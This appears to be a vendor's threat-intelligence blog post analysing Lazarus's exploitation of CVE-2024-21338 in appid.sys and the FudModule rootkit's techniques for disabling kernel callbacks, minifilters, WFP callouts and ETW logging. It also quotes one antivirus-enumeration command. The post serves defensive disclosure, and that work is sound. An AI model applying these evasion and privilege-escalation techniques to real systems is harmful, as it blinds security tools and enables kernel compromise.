    In the simplest case, an attacker can leverage BYOVD to exploit a publicly known n-day vulnerability. This is very easy to pull off, as there are plenty of public proof-of-concept exploits for various vulnerabilities. However, it’s also relatively straightforward to detect since the attacker must first drop a known vulnerable driver to the file system and then load it into the kernel, resulting in two great detection opportunities. What’s more, some systems may have Microsoft’s vulnerable driver blocklist enabled, which would block some of the most common vulnerable drivers from loading. Previous versions of the FudModule rootkit could be placed in this category, initially exploiting a known vulnerability in dbutil_2_3.sys and then moving on to targeting ene.sys in later versions. 
    Zero-Day BYOVD Exploits 
    In more sophisticated scenarios, an attacker would use BYOVD to exploit a zero-day vulnerability within a signed third-party driver. Naturally, this requires the attacker to first discover such a zero-day vulnerability, which might initially seem like a daunting task. However, note that any exploitable vulnerability in any signed driver will do, and there is unfortunately no shortage of low-quality third-party drivers. Therefore, the difficulty level of discovering such a vulnerability might not be as high as it would initially seem. It might suffice to scan a collection of drivers for known vulnerability patterns, as demonstrated by Carbon Black researchers who recently used bulk static analysis to uncover 34 unique vulnerabilities across more than 200 signed drivers. Such zero-day BYOVD attacks are notably stealthier than n-day attacks since defenders can no longer rely on hashes of known vulnerable drivers for detection. However, some detection opportunities still remain, as loading a random driver represents a suspicious event that might warrant deeper investigation. For an example of an attack belonging to this category, consider the spyware vendor Candiru, which we caught exploiting a zero-day vulnerability in hw.sys for the final privilege escalation stage of their browser exploit chain. 
    Beyond BYOVD 
    Finally, the holy grail of admin-to-kernel is going beyond BYOVD by exploiting a zero-day in a driver that’s known to be already installed on the target machine. To make the attack as universal as possible, the most obvious target here would be a built-in Windows driver that’s already a part of the operating system.  
    Discovering an exploitable vulnerability in such a driver is significantly more challenging than in the previous BYOVD scenarios for two reasons. First, the number of possible target drivers is vastly smaller, resulting in a much-reduced attack surface. Second, the code quality of built-in drivers is arguably higher than that of random third-party drivers, making vulnerabilities much more difficult to find. It’s also worth noting that – while patching tends to be ineffective at stopping BYOVD attacks (even if a vendor patches their driver, the attacker can still abuse the older, unpatched version of the driver) – patching a built-in driver will make the vulnerability no longer usable for this kind of zero-day attacks. 
    If an attacker, despite all of these hurdles, manages to exploit a zero-day vulnerability in a built-in driver, they will be rewarded with a level of stealth that cannot be matched by standard BYOVD exploitation. By exploiting such a vulnerability, the attacker is in a sense living off the land with no need to bring, drop, or load any custom drivers, making it possible for a kernel attack to be truly fileless. This not only evades most detection mechanisms but also enables the attack on systems where driver allowlisting is in place (which might seem a bit ironic, given that CVE-2024-21338 concerns an AppLocker driver).  
    While we can only speculate on Lazarus’ motivation for choosing this third approach for crossing the admin-to-kernel boundary, we believe that stealth was their primary motivation. Given their level of notoriety, they would have to swap vulnerabilities any time someone burned their currently used BYOVD technique. Perhaps they also reasoned that, by going beyond BYOVD, they could minimize the need for swapping by staying undetected for longer. 
    CVE-2024-21338 
    As far as zero-days go, CVE-2024-21338 is relatively straightforward to both understand and exploit. The vulnerability resides within the IOCTL (Input and Output Control) dispatcher in appid.sys, which is the central driver behind AppLocker, the application whitelisting technology built into Windows. The vulnerable control code 0x22A018 is designed to compute a smart hash of an executable image file. This IOCTL offers some flexibility by allowing the caller to specify how the driver should query and read the hashed file. The problem is, this flexibility is achieved by expecting two kernel function pointers referenced from the IOCTL’s input buffer: one containing a callback pointer to query the hashed file’s size and the other a callback pointer to read the data to be hashed.  
    Since user mode would typically not be handling kernel function pointers, this design suggests the IOCTL may have been initially designed to be invoked from the kernel. Indeed, while we did not find any legitimate user-mode callers, the IOCTL does get invoked by other AppLocker drivers. For instance, there is a ZwDeviceIoControlFile call in applockerfltr.sys, passing SmpQueryFile and SmpReadFile for the callback pointers. Aside from that, appid.sys itself also uses this functionality, passing AipQueryFileHandle and AipReadFileHandle (which are basically just wrappers over ZwQueryInformationFile and ZwReadFile, respectively). 
    Despite this design, the vulnerable IOCTL remained accessible from user space, meaning that a user-space attacker could abuse it to essentially trick the kernel into calling an arbitrary pointer. What’s more, the attacker also partially controlled the data referenced by the first argument passed to the invoked callback function. This presented an ideal exploitation scenario, allowing the attacker to call an arbitrary kernel function with a high degree of control over the first argument. 
    A WinDbg session with the triggered vulnerability, traced to the arbitrary callback invocation. Note that the attacker controls both the function pointer to be called (0xdeadbeefdeadbeef in this session) and the data pointed to by the first argument (0xbaadf00dbaadf00d).  If exploitation sounds trivial, note that there are some constraints on what pointers this vulnerability allows an attacker to call. Of course, in the presence of SMEP (Supervisor Mode Execution Prevention), the attacker cannot just supply a user-mode shellcode pointer. What’s more, the callback invocation is an indirect call that may be safeguarded by kCFG (Kernel Control Flow Guard), requiring that the supplied kernel pointers represent valid kCFG call targets. In practice, this does not prevent exploitation, as the attacker can just find some kCFG-compliant gadget function that would turn this into another primitive, such as a (limited) read/write. There are also a few other constraints on the IOCTL input buffer that must be solved in order to reach the vulnerable callback invocation. However, these too are relatively straightforward to satisfy, as the attacker only needs to fake some kernel objects and supply the right values so that the IOCTL handler passes all the necessary checks while at the same time not crashing the kernel. 
    The vulnerable IOCTL is exposed through a device object named \Device\AppId. Breaking down the 0x22A018 control code and extracting the RequiredAccess field reveals that a handle with write access is required to call it. Inspecting the device’s ACL (Access Control List; see the screenshot below), there are entries for local service, administrators, and appidsvc. While the entry for administrators does not grant write access, the entry for local service does. Therefore, to describe CVE-2024-21338 more accurately, we should label it local service-to-kernel rather than admin-to-kernel. It’s also noteworthy that appid.sys might create two additional device objects, namely \Device\AppidEDPPlugin and \Device\SrpDevice. Although these come with more permissive ACLs, the vulnerable IOCTL handler is unreachable through them, rendering them irrelevant for exploitation purposes. 
    Access control entries of \Device\AppId, revealing that while local service is allowed write access, administrators are not.  As the local service account has reduced privileges compared to administrators, this also gives the vulnerability a somewhat higher impact than standard admin-to-kernel. This might be the reason Microsoft characterized the CVE as Privileges Required: Low, taking into account that local service processes do not always necessarily have to run at higher integrity levels. However, for the purposes of this blog, we still chose to refer to CVE-2024-21338 mainly as an admin-to-kernel vulnerability because we find it better reflects how it was used in the wild – Lazarus was already running with elevated privileges and then impersonated the local service account just prior to calling the IOCTL. 
    The vulnerability was introduced in Win10 1703 (RS2/15063) when the 0x22A018 IOCTL handler was first implemented. Older builds are not affected as they lack support for the vulnerable IOCTL. Interestingly, the Lazarus exploit bails out if it encounters a build older than Win10 1809 (RS5/17763), completely disregarding three perfectly vulnerable Windows versions. As for the later versions, the vulnerability extended all the way up to the most recent builds, including Win11 23H2. There have been some slight changes to the IOCTL, including an extra argument expected in the input buffer, but nothing that would prevent exploitation.  
    We developed a custom PoC (Proof of Concept) exploit and submitted it in August 2023 as part of a vulnerability report to Microsoft, leading to an advisory for CVE-2024-21338 in the February Patch Tuesday update. The update addressed the vulnerability by adding an ExGetPreviousMode check to the IOCTL handler (see the patch below). This aims to prevent user-mode initiated IOCTLs from triggering the arbitrary callbacks. 
    The patched IOCTL handler. If feature 2959575357 is enabled, attempts to call the IOCTL with PreviousMode==UserMode should immediately result in STATUS_INVALID_DEVICE_REQUEST, failing to even reach AipSmartHashImageFile.  Though the vulnerability may only barely meet Microsoft’s security servicing criteria, we believe patching was the right choice and would like to thank Microsoft for eventually addressing this issue. Patching will undoubtedly disrupt Lazarus’ offensive operations, forcing them to either find a new admin-to-kernel zero-day or revert to using BYOVD techniques. While discovering an admin-to-kernel zero-day may not be as challenging as discovering a zero-day in a more attractive attack surface (such as standard user-to-kernel, or even sandbox-to-kernel), we believe that finding one would still require Lazarus to invest significant resources, potentially diverting their focus from attacking some other unfortunate targets. 
    Exploitation 
    The Lazarus exploit begins with an initialization stage, which performs a one-time setup for both the exploit and the rootkit (both have been compiled into the same module). This initialization starts by dynamically resolving all necessary Windows API functions, followed by a low-effort anti-debug check on PEB.BeingDebugged. Then, the exploit inspects the build number to see if it’s running on a supported Windows version. If so, it loads hardcoded constants tailored to the current build. Interestingly, the choice of constants sometimes comes down to the update build revision (UBR), showcasing a high degree of dedication towards ensuring that the code runs cleanly across a wide range of target machines.  
    A decompiled code snippet, loading version-specific hardcoded constants. This particular example contains offsets and syscall numbers for Win10 1809.  The initialization process then continues with leaking the base addresses of three kernel modules: ntoskrnl, netio, and fltmgr. This is achieved by calling NtQuerySystemInformation using the SystemModuleInformation class. The KTHREAD address of the currently executing thread is also leaked in a similar fashion, by duplicating the current thread pseudohandle and then finding the corresponding kernel object address using the SystemExtendedHandleInformation system information class. Finally, the exploit manually loads the ntoskrnl image into the user address space, only to scan for relative virtual addresses (RVAs) of some functions of interest. 
    Since the appid.sys driver does not have to be already loaded on the target machine, the exploit may first have to load it itself. It chooses to accomplish this in an indirect way, by writing an event to one specific AppLocker-related ETW (Event Tracing for Windows) provider. Once appid.sys is loaded, the exploit impersonates the local service account using a direct syscall to NtSetInformationThread with the ThreadImpersonationToken thread information class. By impersonating local service, it can now obtain a read/write handle to \Device\AppId. With this handle, the exploit finally prepares the IOCTL input buffer and triggers the vulnerability using the NtDeviceIoControlFile syscall.  
    Direct syscalls are heavily used throughout the exploit.  The exploit crafts the IOCTL input buffer in such a way that the vulnerable callback is essentially a gadget that performs a 64-bit copy from the IOCTL input buffer to an arbitrary target address. This address was chosen to corrupt the PreviousMode of the current thread. By ensuring the corresponding source byte in the IOCTL input buffer is zero, the copy will clear the PreviousMode field, effectively resulting in its value being interpreted as KernelMode. Targeting PreviousMode like this is a widely popular exploitation technique, as corrupting this one byte in the KTHREAD structure bypasses kernel-mode checks inside syscalls such as NtReadVirtualMemory or NtWriteVirtualMemory, allowing a user-mode attacker to read and write arbitrary kernel memory. Note that while this technique was mitigated on some Windows Insider Builds, this mitigation has yet to reach general availability at the time of writing. 
    Interestingly, the exploit may attempt to trigger the vulnerable IOCTL twice. This is due to an extra argument that was added in Win11 22H2. As a result, the IOCTL handler on newer builds expects the input buffer to be 0x20 bytes in size while, previously, the expected size was only 0x18. Rather than selecting the proper input buffer size for the current build, the exploit just tries calling the IOCTL twice: first with an input buffer size 0x18 then – if not successful – with 0x20. This is a valid approach since the IOCTL handler’s first action is to check the input buffer size, and if it doesn’t match the expected size, it would just immediately return STATUS_INVALID_PARAMETER.  
    To check if it was successful, the exploit employs the NtWriteVirtualMemory syscall, attempting to read the current thread’s PreviousMode (Lazarus avoids using NtReadVirtualMemory, more on this later). If the exploit succeeded, the syscall should return STATUS_SUCCESS, and the leaked PreviousMode byte should equal 0 (meaning KernelMode). Otherwise, the syscall should return an error status code, as it should be impossible to read kernel memory without a corrupted PreviousMode.  
    In our exploit analysis, we deliberately chose to omit some key details, such as the choice of the callback gadget function. This decision was made to strike the right balance between helping defenders with detection but not making exploitation too widely accessible. For those requiring more information for defensive purposes, we may be able to share additional details on a case-by-case basis. 
    The FudModule Rootkit
    The entire goal of the admin-to-kernel exploit was to corrupt the current thread’s PreviousMode. This allows for a powerful kernel read/write primitive, where the affected user-mode thread can read and write arbitrary kernel memory using the Nt(Read|Write)VirtualMemory syscalls. Armed with this primitive, the FudModule rootkit employs direct kernel object manipulation (DKOM) techniques to disrupt various kernel security mechanisms. It’s worth reiterating that FudModule is a data-only rootkit, meaning it executes entirely from user space and all the kernel tampering is performed through the read/write primitive.  
    The first variants of the FudModule rootkit were independently discovered by AhnLab and ESET research teams, with both publishing detailed analyses in September 2022. The rootkit was named after the FudModule.dll string used as the name in its export table. While this artifact is not present anymore, there is no doubt that what we found is an updated version of the same rootkit. AhnLab’s report documented a sample from early 2022, which incorporated seven data-only rootkit techniques and was enabled through a BYOVD exploit for ene.sys. ESET’s report examined a slightly earlier variant from late 2021, also featuring seven rootkit techniques but exploiting a different BYOVD vulnerability in dbutil_2_3.sys. In contrast, our discovery concerns a sample featuring nine rootkit techniques and exploiting a previously unknown admin-to-kernel vulnerability. Out of these nine techniques, four are new, three are improved, and two remain unchanged from the previous variants. This leaves two of the original seven techniques, which have been deprecated and are no longer present in the latest variant. 
    Each rootkit technique is assigned a bit, ranging from 0x1 to 0x200 (the 0x20 bit is left unused in the current variant). FudModule executes the techniques sequentially, in an ascending order of the assigned bits. The bits are used to report on the success of the individual techniques. During execution, FudModule will construct an integer value (named bitfield_techniques in the decompilation below), where only the bits corresponding to successfully executed techniques will be set. This integer is ultimately written to a file named tem1245.tmp, reporting on the rootkit’s success. Interestingly, we did not find this filename referenced in any other Lazarus sample, suggesting the dropped file is only inspected through hands-on-keyboard activity, presumably through a RAT (Remote Access Trojan) command. This supports our beliefs that FudModule is only loosely integrated into the rest of Lazarus’ malware ecosystem and that Lazarus is very careful about using the rootkit, only deploying it on demand under the right circumstances. 
    The rootkit’s “main” function, executing the individual rootkit techniques. Note the missing 0x20 technique.  Based on the large number of updates, it seems that FudModule remains under active development. The latest variant appears more robust, avoiding some potentially problematic practices from the earlier variants. Since some techniques target undocumented kernel internals in a way that we have not previously encountered, we believe that Lazarus must be conducting their own kernel research. Further, though the rootkit is certainly technically sophisticated, we still identified a few bugs here and there. These may either limit the rootkit’s intended functionality or even cause kernel bug checks under the right conditions. While we find some of these bugs very interesting and would love to share the details, we do not enjoy the idea of providing free bug reports to threat actors, so we will hold onto them for now and potentially share some information later if the bugs get fixed. 
    Interestingly, FudModule utilizes the NtWriteVirtualMemory syscall for both reading and writing kernel memory, eliminating the need to call NtReadVirtualMemory. This leverages the property that, when limited to a single virtual address space, NtReadVirtualMemory and NtWriteVirtualMemory are basically inverse operations with respect to the values of the source Buffer and the destination BaseAddress arguments. In other words, writing to kernel memory can be thought of as writing from a user-mode Buffer to a kernel-mode BaseAddress, while reading from kernel memory could be conversely achieved by swapping arguments, that is writing from a kernel-mode Buffer to a user-mode BaseAddress. Lazarus’ implementation takes advantage of this, which seems to be an intentional design decision since most developers would likely prefer the more straightforward way of using NtReadVirtualMemory for reading kernel memory and NtWriteVirtualMemory for writing kernel memory. We can only guess why Lazarus chose this approach, but this might be yet another stealth-enhancing feature. With their implementation, they only must use one suspicious syscall instead of two, potentially reducing the number detection opportunities. 
    Debug Prints 
    Before we delve into the actual rootkit techniques, there is one last thing worth discussing. To our initial surprise, Lazarus left a handful of plaintext debug prints in the compiled code. Such prints are typically one of the best things that can happen to a malware researcher, because they tend to accelerate the reverse engineering process significantly. In this instance, however, some of the prints had the opposite effect, sometimes even making us question if we understood the code correctly.  
    As an example, let us mention the string get rop function addresses failed. Assuming rop stands for return-oriented programming, this string would make perfect sense in the context of exploitation, if not for the fact that not a single return address was corrupted in the exploit.  
    Plaintext debug strings found in the rootkit. The term vaccine is used to refer to security software.  While written in English, the debug strings suggest their authors are not native speakers, occasionally even pointing to their supposed Korean origin. This is best seen on the frequent usage of the term vaccine throughout the rootkit. This had us scratching our heads at first, because it was unclear how vaccines would relate to the rootkit functionality. However, it soon became apparent that the term was used to refer to security software. This might originate from a common Korean translation of antivirus (바이러스 백신), a compound word with the literal meaning virus vaccine. Note that even North Korea’s “own” antivirus was called SiliVaccine, and to the best of our knowledge, the term vaccine would not be used like this in other languages such as Japanese. Additionally, this is not the first time Korean-speaking threat actors have used this term. For instance, AhnLab’s recent report on Kimsuky mentions the following telltale command: 
     
    cmd.exe /U /c wmic /namespace:\\root\securitycenter2 path antivirusproduct get displayname > vaccine.txt
    Another puzzle is the abbreviation pvmode, which we believe refers to PreviousMode. A Google search for pvmode yields exactly zero relevant results, and we suspect most English speakers would choose different abbreviations, such as prvmode or prevmode. However, after consulting this with language experts, we learned that using the abbreviation pvmode would be unusual for Korean speakers too. 
    Finally, there is also the debug message disableV3Protection passed. Judging from the context, the rather generic term V3 here refers to AhnLab V3 Endpoint Security. Considering the geopolitical situation, North Korean hacker groups are likely well-acquainted with South Korean AhnLab, so it would make perfect sense that they internally refer to them using such a non-specific shorthand. 
    0x01 – Registry Callbacks 
    The first rootkit technique is designed to address registry callbacks. This is a documented Windows mechanism which allows security solutions to monitor registry operations. A security solution’s kernel-mode component can call the CmRegisterCallbackEx routine to register a callback, which gets notified whenever a registry operation is performed on the system. What’s more, since the callback is invoked synchronously, before (or after) the actual operation is performed, the callback can even block or modify forbidden/malicious operations. FudModule’s goal here is to remove existing registry callbacks and thus disrupt security solutions that rely on this mechanism. 
    The callback removal itself is performed by directly modifying some internal data structures managed by the kernel. This was also the case in the previous version, as documented by ESET and AhnLab. There, the rootkit found the address of nt!CallbackListHead (which contains a doubly linked, circular list of all existing registry callbacks) and simply emptied it by pointing it to itself. 
    In the current version of FudModule, this technique was improved to leave some selected callbacks behind, perhaps making the rootkit stealthier. This updated version starts the same as the previous one: by finding the address of nt!CallbackListHead. This is done by resolving CmUnRegisterCallback (this resolution is performed by name, through iterating over the export table of ntoskrnl in memory), scanning its function body for the lea rcx,[nt!CallbackListHead] instruction, and then calculating the final address from the offset extracted from the instruction’s opcodes. 
    With the nt!CallbackListHead address, FudModule can iterate over the registry callback linked list. It inspects each entry and determines if the callback routine is implemented in ntoskrnl.exe, applockerfltr.sys, or bfs.sys. If it is, the callback is left untouched. Otherwise, the rootkit replaces the callback routine pointer with a pointer to ObIsKernelHandle and then proceeds to unlink the callback entry. 
    0x02 – Object Callbacks 
    Object callbacks allow drivers to execute custom code in response to thread, process, and desktop handle operations. They are often used in self-defense, as they represent a convenient way to protect critical processes from being tampered with. Since the protection is enforced at the kernel level, this should protect even against elevated attackers, as long as they stay in user mode. Alternatively, object callbacks are also useful for monitoring and detecting suspicious activity.  
    Whatever the use case, object callbacks can be set up using the ObRegisterCallbacks routine. FudModule naturally attempts to do the exact opposite: that is to remove all registered object callbacks. This could let it bypass self-defense mechanisms and evade object callback-based detection/telemetry. 
    The implementation of this rootkit technique has stayed the same since the previous version, so there is no need to go into too much detail. First, the rootkit scans the body of the ObGetObjectType routine to obtain the address of nt!ObTypeIndexTable. This contains an array of pointers to _OBJECT_TYPE structures, each of which represents a distinct object type, such as Process, Token, or SymbolicLink. FudModule iterates over this array (skipping the first two special-meaning elements) and inspects each _OBJECT_TYPE.CallbackList, which contains a doubly linked list of object callbacks registered for the particular object type. The rootkit then empties the CallbackList by making each node’s forward and backward pointer point to itself. 
    0x04 – Process, Thread, and Image Kernel Callbacks 
    This next rootkit technique is designed to disable three more types of kernel callbacks: process, thread, and image callbacks. As their names suggest, these are used to execute custom kernel code whenever a new process is created, a new thread spawned, or a new image loaded (e.g. a DLL loaded into a process). These callbacks are extremely useful for detecting malicious activity. For instance, process callbacks allow AVs and EDRs to perform various checks on each new process that is to be created. Registering these callbacks is very straightforward. All that is needed is to pass the new callback routine as an argument to PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine, or PsSetLoadImageNotifyRoutine. These routines also come in their updated Ex variants, or even Ex2 in the case of PsSetCreateProcessNotifyRoutineEx2. 
    Process, thread, and image callbacks are managed by the kernel in an almost identical way, which allows FudModule to use essentially the same code to disable all three of them. We find that this code has not changed much since the previous version, with the main difference being new additions to the list of drivers whose callbacks are left untouched.  
    FudModule first finds the addresses of nt!PspNotifyEnableMask, nt!PspLoadImageNotifyRoutine, nt!PspCreateThreadNotifyRoutine, and nt!PspCreateProcessNotifyRoutine. These are once again obtained by scanning the code of exported routines, with the exact scanning method subject to some variation based on the Windows build number. Before any modification is performed, the rootkit clears nt!PspNotifyEnableMask and sleeps for a brief amount of time. This mask contains a bit field of currently enabled callback types, so clearing it disables all callbacks. While some EDR bypasses would stop here, FudModule’s goal is not to disable all callbacks indiscriminately, so the modification of nt!PspNotifyEnableMask is only temporary, and FudModule eventually restores it back to its original value. We believe the idea behind this temporary modification is to decrease the chance of a race condition that could potentially result in a bug check. 
    All three of the above nt!Psp(LoadImage|CreateThread|CreateProcess)NotifyRoutine globals are organized as an array of _EX_FAST_REF pointers to _EX_CALLBACK_ROUTINE_BLOCK structures (at least that’s the name used in ReactOS, Microsoft does not share a symbol name here). FudModule iterates over all these structures and checks if _EX_CALLBACK_ROUTINE_BLOCK.Function (the actual callback routine pointer) is implemented in one of the below-whitelisted modules. If it is, the pointer will get appended to a new array that will be used to replace the original one. This effectively removes all callbacks except for those implemented in one of the below-listed modules. 
    ntoskrnl.exe  ahcache.sys  mmcss.sys  cng.sys  ksecdd.sys  tcpip.sys  iorate.sys  ci.dll  dxgkrnl.sys  peauth.sys  wtd.sys   Kernel modules that are allowed during the removal of process, thread, and image callbacks.  0x08 – Minifilter Drivers 
    File system minifilters provide a mechanism for drivers to intercept file system operations. They are used in a wide range of scenarios, including encryption, compression, replication, monitoring, antivirus scanning, or file system virtualization. For instance, an encryption minifilter would encrypt the data before it is written to the storage device and, conversely, decrypt the data after it is read. FudModule is trying to get rid of all the monitoring and antivirus minifilters while leaving the rest untouched (after all, some minifilters are crucial to keep the system running). The choice about which minifilters to keep and which to remove is based mainly on the minifilter’s altitude, an integer value that is used to decide the processing order in case there are multiple minifilters attached to the same operation. Microsoft defines altitude ranges that should be followed by well-behaved minifilters. Unfortunately, these ranges also represent a very convenient way for FudModule to distinguish anti-malware minifilters from the rest. 
    In its previous version, FudModule disabled minifilters by directly patching their filter functions’ prologues. This would be considered very unusual today, with HVCI (Hypervisor-Protected Code Integrity) becoming more prevalent, even turned on by default on Windows 11. Since HVCI is a security feature designed to prevent the execution of arbitrary code in the kernel, it would stand in the way of FudModule trying to patch the filter function. This forced Lazarus to completely reimplement this rootkit technique, so the current version of FudModule disables file system minifilters in a brand-new data-only attack. 
    This attack starts by resolving FltEnumerateFilters and using it to find FltGlobals.FrameList.rList. This is a linked list of FLTMGR!_FLTP_FRAME structures, each representing a single filter manager frame. From here, FudModule follows another linked list at _FLTP_FRAME.AttachedVolumes.rList. This linked list consists of FLTMGR!_FLT_VOLUME structures, describing minifilters attached to a particular file system volume. Interestingly, the rootkit performs a sanity check to make sure that the pool tag associated with the _FLT_VOLUME allocation is equal to FMvo. With the sanity check satisfied, FudModule iterates over _FLT_VOLUME.Callbacks.OperationsLists, which is an array of linked lists of FLTMGR!_CALLBACK_NODE structures, indexed by IRP major function codes. For instance, OperationsLists[IRP_MJ_READ] is a linked list describing all filters attached to the read operation on a particular volume. 
    FudModule making sure the pool tag of a _FLT_VOLUME chunk is equal to FMvo.  For each _CALLBACK_NODE, FudModule obtains the corresponding FLTMGR!_FLT_INSTANCE and FLTMGR!_FLT_FILTER structures and uses them to decide whether to unlink the callback node. The first check is based on the name of the driver behind the filter. If it is hmpalert.sys (associated with the HitmanPro anti-malware solution), the callback will get immediately unlinked. Conversely, the callback is preserved if the driver’s name matches an entry in the following list: 
    bindflt.sys  storqosflt.sys  wcifs.sys  cldflt.sys  filecrypt.sys  luafv.sys  npsvctrig.sys  wof.sys  fileinfo.sys  applockerfltr.sys  bfs.sys    Kernel modules that are allowlisted to preserve their file system minifilters. If there was no driver name match, FudModule uses _FLT_FILTER.DefaultAltitude to make its ultimate decision. Callbacks are unlinked if the default altitude belongs either to the range [320000, 329999] (defined as FSFilter Anti-Virus by Microsoft) or the range [360000, 389999] (FSFilter Activity Monitor). Besides unlinking the callback nodes, FudModule also wipes the whole _FLT_INSTANCE.CallbackNodes array in the corresponding _FLT_INSTANCE structures. 
    0x10 – Windows Filtering Platform 
    Windows Filtering Platform (WFP) is a documented set of APIs designed for host-based network traffic filtering. The WFP API offers capabilities for deep packet inspection as well as for modification or dropping of packets at various layers of the network stack. This is very useful functionality, so it serves as a foundation for a lot of Windows network security software, including intrusion detection/prevention systems, firewalls, and network monitoring tools. The WFP API is accessible both in user and kernel space, with the kernel part offering more powerful functionality. Specifically, the kernel API allows for installing so-called callout drivers, which can essentially hook into the network stack and perform arbitrary actions on the processed network traffic. FudModule is trying to interfere with the installed callout routines in an attempt to disrupt the security they provide.  
    This rootkit technique is executed only when Kaspersky drivers (klam.sys, klif.sys, klwfp.sys, klwtp.sys, klboot.sys) are present on the targeted system and at the same time Symantec/Broadcom drivers (symevnt.sys, bhdrvx64.sys, srtsp64.sys) are absent. This check appears to be a new addition in the current version of FudModule. In other aspects, our analysis revealed that the core idea of this technique matches the findings described by ESET researchers during their analysis of the previous version. 
    Initially, FudModule resolves netio!WfpProcessFlowDelete to locate the address of netio!gWfpGlobal. As the name suggests, this is designed to store WFP-related global variables. Although its exact layout is undocumented, it is not hard to find the build-specific offset where a pointer to an array of WFP callout structures is stored (with the length of this array stored at an offset immediately preceding the pointer). FudModule follows this pointer and iterates over the array, skipping all callouts implemented in ndu.sys, tcpip.sys, mpsdrv.sys, or wtd.sys. For the remaining callouts, FudModule accesses the callout structure’s flags and sets the flag stored in the least significant bit. While the callout structure itself is undocumented, this particular 0x01 flag is documented in another structure, where it is called FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW. The documentation reads “if this flag is specified, the filter engine calls the callout driver’s classifyFn2 callout function only if there is a context associated with the data flow”. In other words, setting this flag will conditionally disable the callout in cases where no flow context is available (see the implementation of netio!IsActiveCallout below). 
    The meaning of the FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW flag can be nicely seen in netio!IsActiveCallout. If this flag is set and no flow context can be obtained, IsActiveCallout will return false (see the highlighted part of the condition).  While this rootkit technique has the potential to interfere with some WFP callouts, it will not be powerful enough to disrupt all of them. Many WFP callouts registered by security vendors already have the FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW flag set by design, so they will not be affected by this technique at all. Given the initial driver check, it seems like this technique might be targeted directly at Kaspersky. While Kaspersky does install dozens of WFP callouts, about half of those are designed for processing flows and already have the FWP_CALLOUT_FLAG_CONDITIONAL_ON_FLOW flag set. Since we refrained from reverse engineering our competitor’s products, the actual impact of this rootkit technique remains unclear. 
    0x20 – Missing 
    So far, the rootkit techniques we analyzed were similar to those detailed by ESET in their paper on the earlier rootkit variant. But starting from now, we are getting into a whole new territory. The 0x20 technique, which used to deal with Event Tracing for Windows (ETW), has been deprecated, leaving the 0x20 bit unused. Instead, there are two new replacement techniques that target ETW, indexed with the bits 0x40 and 0x80. The indexing used to end at 0x40, which was a technique to obstruct forensic analysis by disabling prefetch file creation. However, now the bits go all the way up to 0x200, with two additional new techniques that we will delve into later in this blog. 
    0x40 – Event Tracing for Windows: System Loggers
    Event Tracing for Windows (ETW) serves as a high-performance mechanism dedicated to tracing and logging events. In a nutshell, its main purpose is to connect providers (who generate some log events) with consumers (who process the generated events). Consumers can define which events they would like to consume, for instance, by selecting some specific providers of interest. There are providers built into the operating system, like Microsoft-Windows-Kernel-Process which generates process-related events, such as process creation or termination. However, third-party applications can also define their custom providers.  
    While many built-in providers are not security-related, some generate events useful for detection purposes. For instance, the Microsoft-Windows-Threat-Intelligence provider makes it possible to watch for suspicious events, such as writing another process’ memory. Furthermore, various security products take advantage of ETW by defining their custom providers and consumers. FudModule tampers with ETW internals in an attempt to intercept suspicious events and thus evade detection. 
    The main idea behind this rootkit technique is to disable system loggers by zeroing out EtwpActiveSystemLoggers. The specific implementation of how this address is found varies based on the target Windows version. On newer builds, the nt!EtwSendTraceBuffer routine is resolved first and used to find nt!EtwpHostSiloState. This points to an _ETW_SILODRIVERSTATE structure, and using a hardcoded build-specific offset, the rootkit can access _ETW_SILODRIVERSTATE.SystemLoggerSettings.EtwpActiveSystemLoggers. On older builds, the rootkit first scans the entire ntoskrnl .text section, searching for opcode bytes specific to the EtwTraceKernelEvent prologue. The rootkit then extracts the target address from the mov ebx, cs:EtwpActiveSystemLoggers instruction that immediately follows. 
    To understand the technique’s impact, we can take a look at how EtwpActiveSystemLoggers is used in the kernel. Accessed on a bit-by-bit basis, its least significant eight bits might be set in the EtwpStartLogger routine. This indicates that the value itself is a bit field, with each bit signifying whether a particular system logger is active. Looking at the other references to EtwpActiveSystemLoggers, a clear pattern emerges. After its value is read, there tends to be a loop guarded by a bsf instruction (bit scan forward). Inside the loop tends to be a call to an ETW-related routine that might generate a log event. The purpose of this loop is to iterate over the set bits of EtwpActiveSystemLoggers. When the rootkit clears all the bits, the body of the loop will never get executed, meaning the event will not get logged. 
    Example decompilation of EtwpTraceKernelEventWithFilter. After the rootkit zeroes out EtwpActiveSystemLoggers, EtwpLogKernelEvent will never get called from inside the loop since the condition guarding the loop will always evaluate to zero.  0x80 – Event Tracing for Windows: Provider GUIDs 
    Complementing the previous technique, the 0x80 technique is also designed to blind ETW, however using a different approach. While the 0x40 technique was quite generic – aiming to disable all system loggers – this technique operates in a more surgical fashion. It contains a hardcoded list of 95 GUIDs, each representing an identifier for some specific ETW provider. The rootkit iterates over all these GUIDs and attempts to disable the respective providers. While this approach requires the attackers to invest some effort into assembling the list of GUIDs, it also offers them a finer degree of control over which ETW providers they will eventually disrupt. This allows them to selectively target providers that pose a higher detection risk and ignore the rest to minimize the rootkit’s impact on the target system. 
    This technique starts by obtaining the address of EtwpHostSiloState (or EtwSiloState on older builds). If EtwpHostSiloState was already resolved during the previous technique, the rootkit just reuses the address. If not, the rootkit follows the reference chain PsGetCurrentServerSiloName -> PsGetCurrentServerSiloGlobals -> PspHostSiloGlobals -> EtwSiloState. In both scenarios, the result is that the rootkit just obtained a pointer to an _ETW_SILODRIVERSTATE structure, which contains a member named EtwpGuidHashTable. As the name suggests, this is a hash table holding ETW GUIDs (_ETW_GUID_ENTRY).  
    FudModule then iterates over its hardcoded list of GUIDs and attempts to locate each of them in the hash table. Although the hash table internals are officially undocumented, Yarden Shafir provided a nice description in her blog on exploiting an ETW vulnerability. In a nutshell, the hash is computed by just splitting the 128-bit GUID into four 32-bit parts and XORing them together. By ANDing the hash with 0x3F, an index of the relevant hash bucket (_ETW_HASH_BUCKET) can be obtained. The bucket contains three linked lists of _ETW_GUID_ENTRY structures, each designated for a different type of GUIDs. FudModule always opts for the first one (EtwTraceGuidType) and traverses it, looking for the relevant _ETW_GUID_ENTRY structure. 
